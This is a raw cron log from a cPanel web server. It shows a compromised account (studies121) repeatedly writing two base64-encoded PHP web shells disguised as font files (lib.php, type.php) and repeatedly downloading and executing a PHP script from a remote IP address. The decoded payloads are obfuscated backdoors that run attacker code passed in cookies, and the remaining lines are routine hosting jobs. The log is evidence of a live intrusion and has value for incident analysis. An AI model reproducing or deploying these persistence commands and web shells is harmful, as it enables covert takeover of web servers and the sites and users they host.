Sep  6 21:57:01 ip-184-168-122-23 CROND[2410]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:58:01 ip-184-168-122-23 CROND[2507]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:58:01 ip-184-168-122-23 CROND[2509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:58:01 ip-184-168-122-23 CROND[2511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:58:01 ip-184-168-122-23 CROND[2512]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:58:01 ip-184-168-122-23 CROND[2510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:59:01 ip-184-168-122-23 CROND[2596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:59:01 ip-184-168-122-23 CROND[2599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:59:01 ip-184-168-122-23 CROND[2598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:59:01 ip-184-168-122-23 CROND[2600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:00:01 ip-184-168-122-23 CROND[2743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:00:01 ip-184-168-122-23 CROND[2744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:00:01 ip-184-168-122-23 CROND[2746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:00:01 ip-184-168-122-23 CROND[2754]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:00:01 ip-184-168-122-23 CROND[2751]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  6 22:00:01 ip-184-168-122-23 CROND[2755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:00:01 ip-184-168-122-23 CROND[2752]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:00:01 ip-184-168-122-23 CROND[2759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:00:01 ip-184-168-122-23 CROND[2761]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:01:01 ip-184-168-122-23 CROND[2868]: (root) CMD (run-parts /etc/cron.hourly)
Sep  6 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2868]: starting 0anacron
Sep  6 22:01:01 ip-184-168-122-23 CROND[2876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:01:01 ip-184-168-122-23 CROND[2877]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 22:01:01 ip-184-168-122-23 CROND[2880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:01:01 ip-184-168-122-23 CROND[2879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:01:01 ip-184-168-122-23 CROND[2878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[2885]: finished 0anacron
Sep  6 22:02:01 ip-184-168-122-23 CROND[2971]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:02:01 ip-184-168-122-23 CROND[2973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:02:01 ip-184-168-122-23 CROND[2974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:02:01 ip-184-168-122-23 CROND[2978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:02:01 ip-184-168-122-23 CROND[2976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:03:01 ip-184-168-122-23 CROND[3059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:03:01 ip-184-168-122-23 CROND[3060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:03:01 ip-184-168-122-23 CROND[3061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:03:01 ip-184-168-122-23 CROND[3062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:04:01 ip-184-168-122-23 CROND[3142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:04:01 ip-184-168-122-23 CROND[3145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:04:01 ip-184-168-122-23 CROND[3144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:04:01 ip-184-168-122-23 CROND[3146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:04:01 ip-184-168-122-23 CROND[3147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:05:01 ip-184-168-122-23 CROND[3237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:05:01 ip-184-168-122-23 CROND[3238]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 22:05:01 ip-184-168-122-23 CROND[3241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:05:01 ip-184-168-122-23 CROND[3242]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:05:01 ip-184-168-122-23 CROND[3243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:05:01 ip-184-168-122-23 CROND[3244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:05:01 ip-184-168-122-23 CROND[3245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:06:01 ip-184-168-122-23 CROND[3430]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:06:01 ip-184-168-122-23 CROND[3434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:06:01 ip-184-168-122-23 CROND[3435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:06:01 ip-184-168-122-23 CROND[3432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:06:01 ip-184-168-122-23 CROND[3433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:07:01 ip-184-168-122-23 CROND[3516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:07:01 ip-184-168-122-23 CROND[3517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:07:01 ip-184-168-122-23 CROND[3520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:07:01 ip-184-168-122-23 CROND[3521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:08:01 ip-184-168-122-23 CROND[3596]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 22:08:01 ip-184-168-122-23 CROND[3598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:08:01 ip-184-168-122-23 CROND[3599]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 22:08:01 ip-184-168-122-23 CROND[3600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 22:08:01 ip-184-168-122-23 CROND[3602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:09:01 ip-184-168-122-23 CROND[3696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:09:01 ip-184-168-122-23 CROND[3698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:09:01 ip-184-168-122-23 CROND[3697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
